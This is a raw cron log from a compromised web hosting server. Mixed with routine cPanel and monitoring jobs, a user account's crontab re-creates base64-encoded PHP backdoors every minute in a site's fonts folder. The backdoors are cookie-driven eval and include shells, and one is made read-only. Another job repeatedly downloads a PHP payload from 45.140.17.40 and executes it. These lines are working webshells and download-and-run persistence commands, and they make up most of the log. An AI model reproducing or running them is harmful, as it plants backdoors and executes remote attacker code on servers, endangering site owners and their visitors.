Sep  4 20:16:01 ip-184-168-122-23 CROND[15225]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 20:17:02 ip-184-168-122-23 CROND[15316]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 20:17:02 ip-184-168-122-23 CROND[15317]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 20:17:02 ip-184-168-122-23 CROND[15318]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 20:17:02 ip-184-168-122-23 CROND[15319]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 20:18:01 ip-184-168-122-23 CROND[15483]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 20:18:01 ip-184-168-122-23 CROND[15485]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  4 20:18:01 ip-184-168-122-23 CROND[15488]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 20:18:01 ip-184-168-122-23 CROND[15486]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 20:18:01 ip-184-168-122-23 CROND[15487]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 20:19:01 ip-184-168-122-23 CROND[15564]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 20:19:01 ip-184-168-122-23 CROND[15565]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 20:19:01 ip-184-168-122-23 CROND[15566]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 20:19:01 ip-184-168-122-23 CROND[15567]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 20:20:01 ip-184-168-122-23 CROND[15674]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 20:20:01 ip-184-168-122-23 CROND[15677]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 20:20:01 ip-184-168-122-23 CROND[15675]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  4 20:20:01 ip-184-168-122-23 CROND[15680]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 20:20:01 ip-184-168-122-23 CROND[15681]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  4 20:20:01 ip-184-168-122-23 CROND[15676]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  4 20:20:01 ip-184-168-122-23 CROND[15682]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 20:20:01 ip-184-168-122-23 CROND[15679]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  4 20:20:01 ip-184-168-122-23 CROND[15678]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  4 20:21:01 ip-184-168-122-23 CROND[15824]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 20:21:01 ip-184-168-122-23 CROND[15827]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 20:21:01 ip-184-168-122-23 CROND[15828]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 20:21:01 ip-184-168-122-23 CROND[15829]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 20:22:01 ip-184-168-122-23 CROND[16151]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 20:22:01 ip-184-168-122-23 CROND[16152]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 20:22:01 ip-184-168-122-23 CROND[16153]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  4 20:22:01 ip-184-168-122-23 CROND[16155]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 20:22:01 ip-184-168-122-23 CROND[16157]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 20:23:01 ip-184-168-122-23 CROND[16268]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 20:23:01 ip-184-168-122-23 CROND[16269]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 20:23:01 ip-184-168-122-23 CROND[16270]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 20:23:01 ip-184-168-122-23 CROND[16271]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 20:24:01 ip-184-168-122-23 CROND[16442]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 20:24:01 ip-184-168-122-23 CROND[16440]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  4 20:24:01 ip-184-168-122-23 CROND[16444]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 20:24:01 ip-184-168-122-23 CROND[16443]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 20:24:01 ip-184-168-122-23 CROND[16441]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 20:25:01 ip-184-168-122-23 CROND[16529]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 20:25:01 ip-184-168-122-23 CROND[16531]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 20:25:01 ip-184-168-122-23 CROND[16532]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 20:25:01 ip-184-168-122-23 CROND[16534]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  4 20:25:01 ip-184-168-122-23 CROND[16533]: (root) CMD (/usr/local/cpanel/bin/mysqluserstore >/dev/null 2>&1)
Sep  4 20:25:01 ip-184-168-122-23 CROND[16535]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 20:25:01 ip-184-168-122-23 CROND[16536]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  4 20:26:01 ip-184-168-122-23 CROND[16783]: (root) CMD (/usr/local/installatron/lib/cron.updater.sh)
Sep  4 20:26:01 ip-184-168-122-23 CROND[16784]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 20:26:01 ip-184-168-122-23 CROND[16789]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 20:26:01 ip-184-168-122-23 CROND[16790]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 20:26:01 ip-184-168-122-23 CROND[16788]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  4 20:26:01 ip-184-168-122-23 CROND[16791]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 20:27:01 ip-184-168-122-23 crond[671]: (aromaskitchen) ORPHAN (no passwd entry)
Sep  4 20:27:01 ip-184-168-122-23 crond[671]: (jonessimon) ORPHAN (no passwd entry)
Sep  4 20:27:01 ip-184-168-122-23 CROND[17083]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 20:27:01 ip-184-168-122-23 CROND[17081]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 20:27:01 ip-184-168-122-23 CROND[17082]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 20:27:01 ip-184-168-122-23 CROND[17084]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 20:28:01 ip-184-168-122-23 CROND[17157]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 20:28:01 ip-184-168-122-23 CROND[17159]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  4 20:28:01 ip-184-168-122-23 CROND[17161]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 20:28:01 ip-184-168-122-23 CROND[17158]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
